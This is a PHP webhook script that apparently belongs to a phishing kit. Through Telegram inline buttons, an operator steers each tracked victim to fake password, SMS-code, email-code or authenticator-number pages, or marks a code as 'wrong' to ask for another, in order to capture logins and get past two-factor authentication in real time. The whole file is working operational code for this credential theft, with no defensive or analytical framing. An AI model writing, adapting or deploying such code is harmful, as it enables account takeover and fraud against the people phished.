<?php
include('config.php');

// Get the raw POST data
$update = json_decode(file_get_contents('php://input'), true);
error_log("Telegram webhook received: " . print_r($update, true));

// Verify this is a callback query
if (!isset($update['callback_query'])) {
    error_log("Not a callback query");
    die();
}

$callback_query = $update['callback_query'];
$chat_id = $callback_query['message']['chat']['id'];
$message_id = $callback_query['message']['message_id'];
$callback_id = $callback_query['id'];
$data = $callback_query['data'];

// Extract visitor ID from message text using regex
preg_match('/Visitor ID: ([a-f0-9]{64})/', $callback_query['message']['text'], $matches);
$visitor_id = $matches[1] ?? '';

if (empty($visitor_id)) {
    error_log("No visitor ID found in message");
    die();
}

// Handle different button clicks
switch($data) {
    case 'password':
        $redirect_url = "pass.php?id=" . $visitor_id;
        $status = "🔑 Password Page";
        break;
    case 'error':
        $redirect_url = "error.php?id=" . $visitor_id;
        $status = "❌ Error Page";
        break;
    case 'password_error':
        $redirect_url = "error.php?id=" . $visitor_id;
        $status = "❌ Password Error";
        break;
    case 'email_code':
        $redirect_url = "emauth.php?id=" . $visitor_id;
        $status = "📧 Email Code";
        break;
    case 'sms_code':
        $redirect_url = "smsauth.php?id=" . $visitor_id;
        $status = "📱 SMS Code";
        break;
    case 'authenticator_code':
        // Show number selection keyboard
        $numbers = [];
        $row = [];
        for ($i = 1; $i <= 100; $i++) {
            $row[] = ['text' => $i, 'callback_data' => 'auth_num_' . $i];
            if (count($row) == 5 || $i == 100) {
                $numbers[] = $row;
                $row = [];
            }
        }
        
        // Add back/cancel button
        $numbers[] = [['text' => '↩️ Back', 'callback_data' => 'back_to_menu']];
        
        $new_keyboard = [
            'inline_keyboard' => $numbers
        ];
        
        // Update keyboard
        $website = "https://api.telegram.org/bot{$settings['bot_url']}/editMessageReplyMarkup";
        $post_data = [
            'chat_id' => $chat_id,
            'message_id' => $message_id,
            'reply_markup' => json_encode($new_keyboard)
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $website);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $server_output = curl_exec($ch);
        curl_close($ch);
        exit; // Exit to avoid updating redirects.json yet

    case (preg_match('/^auth_num_(\d+)$/', $data, $matches) ? true : false):
        $number = $matches[1];
        $redirect_url = "oauth.php?id=" . $visitor_id . "&number=" . $number;
        $status = "🔐 Authenticator Code (#{$number})";
        break;

    case 'block':
        $redirect_url = "blocked.php?id=" . $visitor_id;
        $status = "🚫 Blocked";
        break;
    case 'wrong_email_code':
        $redirect_url = "emauth.php?id=" . $visitor_id . "&error=1";
        $status = "❌ Wrong Email Code";
        break;
    case 'wrong_sms_code':
        $redirect_url = "smsauth.php?id=" . $visitor_id . "&error=1";
        $status = "❌ Wrong SMS Code";
        break;
    case 'success':
        $redirect_url = "success.php?id=" . $visitor_id;
        $status = "✅ Success";
        break;
    default:
        error_log("Unknown callback data: " . $data);
        die();
}

// Update redirects.json
$redirects_file = __DIR__ . '/session/redirects.json';
if (file_exists($redirects_file)) {
    $redirects = json_decode(file_get_contents($redirects_file), true);
    
    if (isset($redirects['redirects'][$visitor_id])) {
        // Update visitor's redirect info
        $redirects['redirects'][$visitor_id]['status'] = 'ready';
        $redirects['redirects'][$visitor_id]['redirect_url'] = $redirect_url;
        $redirects['redirects'][$visitor_id]['updated'] = time();
        
        file_put_contents($redirects_file, json_encode($redirects, JSON_PRETTY_PRINT));
        error_log("Updated redirect for visitor: " . $visitor_id . " to: " . $redirect_url);

        // Send a message confirming the button click - REMOVED per user request
        /*
        $msgtg = "🔵 <b>BUTTON CLICKED</b>\n\n";
        $msgtg .= "• Action: <code>{$status}</code>\n";
        $msgtg .= "• Visitor ID: <code>{$visitor_id}</code>\n";
        $msgtg .= "• Redirect URL: <code>{$redirect_url}</code>\n";
        $msgtg .= "• Time: " . date('Y-m-d H:i:s') . "\n";

        $send = [
            'chat_id' => $settings['chat_id'],
            'text' => $msgtg,
            'parse_mode' => 'HTML',
            'disable_web_page_preview' => true
        ];
        
        $website = "https://api.telegram.org/bot{$settings['bot_url']}";
        $ch = curl_init($website . '/sendMessage');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $result = curl_exec($ch);
        curl_close($ch);
        */

        // Just show popup
        $website = "https://api.telegram.org/bot{$settings['bot_url']}/answerCallbackQuery";
        $post_data = [
            'callback_query_id' => $callback_id,
            'text' => "🔄 Redirecting to: " . basename(parse_url($redirect_url, PHP_URL_PATH)),
            'show_alert' => true // Show as alert
        ];
        
        $ch = curl_init($website);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_exec($ch);
        curl_close($ch);
    }
}

// Update original message to show selected action
$update_message = [
    'chat_id' => $chat_id,
    'message_id' => $message_id,
    'text' => $callback_query['message']['text'] . "\n\n🔄 Status: {$status}\n⏰ Updated: " . date('Y-m-d H:i:s'),
    'parse_mode' => 'HTML'
];

$website = "https://api.telegram.org/bot{$settings['bot_url']}";
$ch = curl_init($website . '/editMessageText');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ($update_message));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

// Answer callback query
$answer = [
    'callback_query_id' => $callback_id,
    'text' => "✅ Action set: {$status}",
    'show_alert' => true
];

$ch = curl_init($website . '/answerCallbackQuery');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ($answer));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);
?> 